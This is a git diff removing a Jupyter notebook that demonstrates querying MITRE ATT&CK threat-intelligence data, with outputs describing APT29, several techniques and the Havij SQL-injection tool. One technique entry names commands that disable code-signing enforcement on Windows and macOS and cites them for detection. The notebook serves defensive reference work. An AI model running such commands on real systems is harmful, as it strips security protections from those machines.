'Process: Process Termination',\n", - " 'Windows Registry: Windows Registry Key Deletion',\n", - " 'Windows Registry: Windows Registry Key Access',\n", - " 'Drive: Drive Access',\n", - " 'Drive: Drive Modification',\n", - " 'Process: Process Metadata',\n", - " 'Logon Session: Logon Session Metadata',\n", - " 'Active Directory: Active Directory Object Access',\n", - " 'Network Share: Network Share Access',\n", - " 'Image: Image Metadata',\n", - " 'Scheduled Job: Scheduled Job Metadata',\n", - " 'Scheduled Job: Scheduled Job Modification',\n", - " 'Kernel: Kernel Module Load',\n", - " 'WMI: WMI Creation',\n", - " 'User Account: User Account Modification',\n", - " 'Group: Group Modification',\n", - " 'Service: Service Modification',\n", - " 'Driver: Driver Metadata',\n", - " 'User Account: User Account Deletion',\n", - " 'Image: Image Modification',\n", - " 'Cloud Storage: Cloud Storage Access',\n", - " 'Snapshot: Snapshot Modification',\n", - " 'Snapshot: Snapshot Deletion',\n", - " 'Volume: Volume Creation',\n", - " 'Volume: Volume Modification',\n", - " 'Volume: Volume Deletion',\n", - " 'Cloud Storage: Cloud Storage Modification',\n", - " 'Cloud Storage: Cloud Storage Creation',\n", - " 'Cloud Service: Cloud Service Metadata',\n", - " 'Cloud Service: Cloud Service Enumeration',\n", - " 'Image: Image Deletion',\n", - " 'Cloud Storage: Cloud Storage Deletion',\n", - " 'Network protocol analysis',\n", - " 'Packet capture',\n", - " 'API monitoring',\n", - " 'Process monitoring',\n", - " 'System calls',\n", - " 'Sequential event recorder',\n", - " 'Controller program',\n", - " 'Windows event logs',\n", - " 'Authentication logs',\n", - " 'Alarm history',\n", - " 'Alarm thresholds',\n", - " 'Data historian',\n", - " 'Netflow/Enclave netflow',\n", - " 'Process use of network',\n", - " 'Application logs',\n", - " 'Data loss prevention',\n", - " 'Third-party application logs',\n", - " 'File monitoring',\n", - " 'Process command-line parameters',\n", - " 'Network device logs',\n", - " 'Host network interfaces',\n", - " 'Web proxy',\n", - " 'Detonation chamber',\n", - " 'Digital signatures',\n", - " 'Web logs',\n", - " 'Web application firewall logs',\n", - " 'Binary file metadata',\n", - " 'Asset management',\n", - " 'Windows Registry',\n", - " 'Network intrusion detection system',\n", - " 'Alarm History',\n", - " 'process use of network',\n", - " 'SSl/TLS inspection',\n", - " 'File Monitoring',\n", - " 'Windows error reporting',\n", - " 'Windows registry',\n", - " 'Controller parameters',\n", - " 'Malware reverse engineering',\n", - " 'Anti-virus',\n", - " 'Email gateway',\n", - " 'Mail server']" - ] - }, - "execution_count": 8, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "data_sources" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Get Any STIX Object by ID (TAXII)\n", - "* You can get any STIX object by its id across all the matrices. It is case sensitive.\n", - "* You can use the following STIX Object Types:\n", - " * attack-pattern > techniques\n", - " * course-of-action > mitigations\n", - " * intrusion-set > groups\n", - " * malware\n", - " * tool" - ] - }, - { - "cell_type": "code", - "execution_count": 9, - "metadata": {}, - "outputs": [], - "source": [ - "object_by_id = lift.get_object_by_attack_id('attack-pattern', 'T1307')" - ] - }, - { - "cell_type": "code", - "execution_count": 10, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "[AttackPattern(type='attack-pattern', id='attack-pattern--286cc500-4291-45c2-99a1-e760db176402', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2017-12-14T16:46:06.044Z', modified='2020-10-26T13:42:49.342Z', name='Acquire and/or use 3rd party infrastructure services', description='This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1307).\\n\\nA wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012)', kill_chain_phases=[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='adversary-opsec')], external_references=[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1307', external_id='T1307'), ExternalReference(source_name='LUCKYCAT2012', description='Forward-Looking Threat Research Team. (2012). LUCKYCAT REDUX: Inside an APT Campaign with Multiple Targets in India and Japan. Retrieved March 1, 2017.')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_deprecated=True, x_mitre_detectable_by_common_defenses='No', x_mitre_detectable_by_common_defenses_explanation='3rd party services highly leveraged by legitimate services, hard to distinguish from background noise. While an adversary can use their own infrastructure, most know this is a sure- re way to get caught. To add degrees of separation, they can buy or rent from another adversary or accomplice.', x_mitre_difficulty_for_adversary='Yes', x_mitre_difficulty_for_adversary_explanation='Wide range of 3rd party services for hosting, rotating, or moving C2, static data, exploits, exfiltration, etc.', x_mitre_old_attack_id='PRE-T1084', x_mitre_version='1.0')]" - ] - }, - "execution_count": 10, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "object_by_id" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Get Any Group by Alias (TAXII)\n", - "You can get any Group by its Alias property across all the matrices. It is case sensitive." - ] - }, - { - "cell_type": "code", - "execution_count": 11, - "metadata": {}, - "outputs": [], - "source": [ - "group_name = lift.get_group_by_alias('Cozy Bear')" - ] - }, - { - "cell_type": "code", - "execution_count": 12, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "[IntrusionSet(type='intrusion-set', id='intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2017-05-31T21:31:52.748Z', modified='2021-04-30T12:11:56.336Z', name='APT29', description=\"[APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to Russia's Foreign Intelligence Service (SVR).(Citation: White House Imposing Costs RU Gov April 2021)(Citation: UK Gov Malign RIS Activity April 2021) They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and think tanks. [APT29](https://attack.mitre.org/groups/G0016) reportedly compromised the Democratic National Committee starting in the summer of 2015.(Citation: F-Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Crowdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia SolarWinds April 2021)\\n\\nIn April 2021, the US and UK governments attributed the SolarWinds supply chain compromise cyber operation to the SVR; public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, and Dark Halo.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Volexity SolarWinds)\", aliases=['APT29', 'Dark Halo', 'StellarParticle', 'NOBELIUM', 'UNC2452', 'YTTRIUM', 'The Dukes', 'Cozy Bear', 'CozyDuke'], external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/groups/G0016', external_id='G0016'), ExternalReference(source_name='APT29', description='(Citation: F-Secure The Dukes)(Citation: FireEye APT29 Nov 2018)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)'), ExternalReference(source_name='Dark Halo', description='(Citation: Volexity SolarWinds)'), ExternalReference(source_name='StellarParticle', description='(Citation: CrowdStrike SUNSPOT Implant January 2021)'), ExternalReference(source_name='NOBELIUM', description='(Citation: MSTIC NOBELIUM Mar 2021)'), ExternalReference(source_name='UNC2452', description='(Citation: FireEye SUNBURST Backdoor December 2020)'), ExternalReference(source_name='YTTRIUM', description='(Citation: Microsoft Unidentified Dec 2018)'), ExternalReference(source_name='The Dukes', description='(Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)'), ExternalReference(source_name='Cozy Bear', description='(Citation: Crowdstrike DNC June 2016)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)'), ExternalReference(source_name='CozyDuke', description='(Citation: Crowdstrike DNC June 2016)'), ExternalReference(source_name='White House Imposing Costs RU Gov April 2021', description='White House. (2021, April 15). Imposing Costs for Harmful Foreign Activities by the Russian Government. Retrieved April 16, 2021.', url='https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/'), ExternalReference(source_name='UK Gov Malign RIS Activity April 2021', description='UK Gov. (2021, April 15). UK and US expose global campaign of malign activity by Russian intelligence services . Retrieved April 16, 2021.', url='https://www.gov.uk/government/news/russia-uk-and-us-expose-global-campaigns-of-malign-activity-by-russian-intelligence-services'), ExternalReference(source_name='F-Secure The Dukes', description='F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.', url='https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf'), ExternalReference(source_name='GRIZZLY STEPPE JAR', description='Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017.', url='https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf'), ExternalReference(source_name='Crowdstrike DNC June 2016', description='Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.', url='https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/'), ExternalReference(source_name='UK Gov UK Exposes Russia SolarWinds April 2021', description='UK Gov. (2021, April 15). UK exposes Russian involvement in SolarWinds cyber compromise . Retrieved April 16, 2021.', url='https://www.gov.uk/government/news/russia-uk-exposes-russian-involvement-in-solarwinds-cyber-compromise'), ExternalReference(source_name='NSA Joint Advisory SVR SolarWinds April 2021', description='NSA, FBI, DHS. (2021, April 15). Russian SVR Targets U.S. and Allied Networks. Retrieved April 16, 2021.', url='https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF'), ExternalReference(source_name='UK NSCS Russia SolarWinds April 2021', description='UK NCSC. (2021, April 15). UK and US call out Russia for SolarWinds compromise. Retrieved April 16, 2021.', url='https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise'), ExternalReference(source_name='FireEye SUNBURST Backdoor December 2020', description='FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.', url='https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html'), ExternalReference(source_name='MSTIC NOBELIUM Mar 2021', description='Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021.', url='https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/'), ExternalReference(source_name='CrowdStrike SUNSPOT Implant January 2021', description='CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021.', url='https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/'), ExternalReference(source_name='Volexity SolarWinds', description='Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.', url='https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/'), ExternalReference(source_name='FireEye APT29 Nov 2018', description='Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.', url='https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html'), ExternalReference(source_name='ESET Dukes October 2019', description='Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.', url='https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf'), ExternalReference(source_name='NCSC APT29 July 2020', description='National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020.', url='https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf'), ExternalReference(source_name='Microsoft Unidentified Dec 2018', description='Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.', url='https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_contributors=['Matt Brenton, Zurich Insurance Group', 'Katie Nickels, Red Canary'], x_mitre_version='2.0')]" - ] - }, - "execution_count": 12, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "group_name" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Get Relationships by Any Object (TAXII)\n", - "* You can get available relationships defined in ATT&CK of type **uses** and **mitigates** for specific objects across all the matrices." - ] - }, - { - "cell_type": "code", - "execution_count": 13, - "metadata": {}, - "outputs": [], - "source": [ - "groups = lift.get_groups()\n", - "one_group = groups[0]\n", - "relationships = lift.get_relationships_by_object(one_group)" - ] - }, - { - "cell_type": "code", - "execution_count": 14, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Relationship(type='relationship', id='relationship--12e483aa-14a0-41ea-b6fd-7ced3590472b', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-04-14T14:05:51.798Z', modified='2021-04-14T14:05:51.798Z', relationship_type='uses', description='(Citation: Check Point Rocket Kitten)', source_ref='intrusion-set--fa19de15-6169-428d-9cd6-3ca3d56075b7', target_ref='tool--fbd727ea-c0dc-42a9-8448-9e12962d1ab5', external_references=[ExternalReference(source_name='Check Point Rocket Kitten', description='Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018.', url='https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'])" - ] - }, - "execution_count": 14, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "relationships[0]" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Get All Techniques with Mitigations (TAXII)\n", - "The difference with this function and **get_all_techniques()** is that **get_techniques_mitigated_by_all_mitigations** returns techniques that have mitigations mapped to them." - ] - }, - { - "cell_type": "code", - "execution_count": 15, - "metadata": {}, - "outputs": [], - "source": [ - "techniques_mitigated = lift.get_techniques_mitigated_by_all_mitigations()" - ] - }, - { - "cell_type": "code", - "execution_count": 16, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "AttackPattern(type='attack-pattern', id='attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-04-23T01:04:57.161Z', modified='2021-04-26T15:41:39.155Z', name='Code Signing Policy Modification', description='Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. \\n\\nSome of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)\\n\\nAdversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include bcdedit.exe -set TESTSIGNING ON on Windows and csrutil disable on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)\\n\\nTo gain access to kernel memory to modify variables related to signature checks, such as modifying g_CiOptions to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)', kill_chain_phases=[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')], external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1553/006', external_id='T1553.006'), ExternalReference(source_name='Microsoft DSE June 2017', description='Microsoft. (2017, June 1). Digital Signatures for Kernel Modules on Windows. Retrieved April 22, 2021.', url='https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN'), ExternalReference(source_name='Apple Disable SIP', description='Apple. (n.d.). Disabling and Enabling System Integrity Protection. Retrieved April 22, 2021.', url='https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection'), ExternalReference(source_name='Microsoft Unsigned Driver Apr 2017', description='Microsoft. (2017, April 20). Installing an Unsigned Driver during Development and Test. Retrieved April 22, 2021.', url='https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test'), ExternalReference(source_name='Microsoft TESTSIGNING Feb 2021', description='Microsoft. (2021, February 15). Enable Loading of Test Signed Drivers. Retrieved April 22, 2021.', url='https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option'), ExternalReference(source_name='FireEye HIKIT Rootkit Part 2', description='Glyer, C., Kazanciyan, R. (2012, August 22). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020.', url='https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html'), ExternalReference(source_name='GitHub Turla Driver Loader', description='TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved April 22, 2021.', url='https://github.com/hfiref0x/TDL'), ExternalReference(source_name='F-Secure BlackEnergy 2014', description='F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.', url='https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf'), ExternalReference(source_name='Unit42 AcidBox June 2020', description='Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.', url='https://unit42.paloaltonetworks.com/acidbox-rare-malware/')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_contributors=['Abel Morales, Exabeam'], x_mitre_data_sources=['Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Process: Process Creation'], x_mitre_defense_bypassed=['Application control', 'User Mode Signature Validation', 'Digital Certificate Validation'], x_mitre_detection='Monitor processes and command-line arguments for actions that could be taken to modify the code signing policy of a system, such as bcdedit.exe -set TESTSIGNING ON.(Citation: Microsoft TESTSIGNING Feb 2021) Consider monitoring for modifications made to Registry keys associated with code signing policies, such as HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\Driver Signing. Modifications to the code signing policy of a system are likely to be rare.', x_mitre_is_subtechnique=True, x_mitre_permissions_required=['Administrator'], x_mitre_platforms=['Windows', 'macOS'], x_mitre_version='1.0')" - ] - }, - "execution_count": 16, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "techniques_mitigated[0]" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Get Techniques Used by Software (TAXII)\n", - "This the function returns information about a specific software STIX object." - ] - }, - { - "cell_type": "code", - "execution_count": 17, - "metadata": {}, - "outputs": [], - "source": [ - "all_software = lift.get_software()\n", - "one_software = all_software[0]\n", - "software_techniques = lift.get_techniques_used_by_software(one_software)" - ] - }, - { - "cell_type": "code", - "execution_count": 18, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "AttackPattern(type='attack-pattern', id='attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2020-03-15T16:13:46.151Z', modified='2020-03-26T20:15:35.821Z', name='Web Protocols', description='Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \\n\\nProtocols such as HTTP and HTTPS that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ', kill_chain_phases=[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')], external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1071/001', external_id='T1071.001'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_data_sources=['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content'], x_mitre_detection='Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\\n\\nMonitor for web traffic to/from known-bad or suspicious domains. ', x_mitre_is_subtechnique=True, x_mitre_platforms=['Linux', 'macOS', 'Windows'], x_mitre_version='1.0')" - ] - }, - "execution_count": 18, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "software_techniques[0]" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Get Techniques Used by Group (TAXII)\n", - "If you do not provide the name of a specific **Group** (Case Sensitive), the function returns information about all the groups available across all the matrices." - ] - }, - { - "cell_type": "code", - "execution_count": 19, - "metadata": {}, - "outputs": [], - "source": [ - "groups = lift.get_groups()\n", - "one_group = groups[0]\n", - "group_techniques = lift.get_techniques_used_by_group(one_group)" - ] - }, - { - "cell_type": "code", - "execution_count": 20, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "AttackPattern(type='attack-pattern', id='attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2020-03-11T14:49:36.954Z', modified='2020-03-11T14:55:56.177Z', name='Malicious File', description=\"An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.\\n\\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) on the file to increase the likelihood that a user will open it.\\n\\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\", kill_chain_phases=[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')], external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1204/002', external_id='T1204.002')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_data_sources=['Process: Process Creation', 'File: File Creation'], x_mitre_detection=\"Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\\n\\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).\", x_mitre_is_subtechnique=True, x_mitre_permissions_required=['User'], x_mitre_platforms=['Linux', 'macOS', 'Windows'], x_mitre_version='1.0')" - ] - }, - "execution_count": 20, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "group_techniques[0]" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Get Software Used by Group (TAXII)\n", - "You can retrieve every software (malware or tool) mapped to a specific Group STIX object" - ] - }, - { - "cell_type": "code", - "execution_count": 21, - "metadata": {}, - "outputs": [], - "source": [ - "groups = lift.get_groups()\n", - "one_group = groups[0]\n", - "group_software = lift.get_software_used_by_group(one_group)" - ] - }, - { - "cell_type": "code", - "execution_count": 22, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Tool(type='tool', id='tool--fbd727ea-c0dc-42a9-8448-9e12962d1ab5', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2018-04-18T17:59:24.739Z', modified='2018-10-17T00:14:20.652Z', name='Havij', description='[Havij](https://attack.mitre.org/software/S0224) is an automatic SQL Injection tool distributed by the Iranian ITSecTeam security company. Havij has been used by penetration testers and adversaries. (Citation: Check Point Havij Analysis)', labels=['tool'], external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/software/S0224', external_id='S0224'), ExternalReference(source_name='Check Point Havij Analysis', description='Ganani, M. (2015, May 14). Analysis of the Havij SQL Injection tool. Retrieved March 19, 2018.', url='https://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_aliases=['Havij'], x_mitre_platforms=['Linux', 'Windows', 'macOS'], x_mitre_version='1.0')" - ] - }, - "execution_count": 22, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "group_software[0]" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [] - } - ], - "metadata": { - "kernelspec": { - "display_name": "Python 3", - "language": "python", - "name": "python3" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.8.8" - } - }, - "nbformat": 4, - "nbformat_minor": 4 -} \ No newline at end of file diff --git a/docs/playground/all_techniques_non_stix.csv b/docs/playground/all_techniques_non_stix.csv index 932e050..e74282a 100644 --- a/docs/playground/all_techniques_non_stix.csv +++ b/docs/playground/all_techniques_non_stix.csv @@ -1,112 +1,221 @@ -external_references,kill_chain_phases,x_mitre_version,x_mitre_is_subtechnique,url,matrix,technique_id,object_marking_refs,created_by_ref,technique,technique_description,id,type,tactic,modified,created,technique_detection,data_sources,contributors,defense_bypassed,permissions_required,platform,remote_support,capec_id,capec_url,system_requirements,network_requirements,effective_permissions,impact_type,x_mitre_deprecated,x_mitre_old_attack_id,difficulty_explanation,difficulty_for_adversary,detectable_explanation,detectable_by_common_defenses,tactic_type -"[{'source_name': 'mitre-attack', 'external_id': 'T1553.006', 'url': 'https://attack.mitre.org/techniques/T1553/006'}, {'source_name': 'Microsoft DSE June 2017', 'url': 'https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN', 'description': 'Microsoft. (2017, June 1). Digital Signatures for Kernel Modules on Windows. Retrieved April 22, 2021.'}, {'source_name': 'Apple Disable SIP', 'url': 'https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection', 'description': 'Apple. (n.d.). Disabling and Enabling System Integrity Protection. Retrieved April 22, 2021.'}, {'source_name': 'Microsoft Unsigned Driver Apr 2017', 'url': 'https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test', 'description': 'Microsoft. (2017, April 20). Installing an Unsigned Driver during Development and Test. Retrieved April 22, 2021.'}, {'source_name': 'Microsoft TESTSIGNING Feb 2021', 'url': 'https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option', 'description': 'Microsoft. (2021, February 15). Enable Loading of Test Signed Drivers. Retrieved April 22, 2021.'}, {'source_name': 'FireEye HIKIT Rootkit Part 2', 'url': 'https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html', 'description': 'Glyer, C., Kazanciyan, R. (2012, August 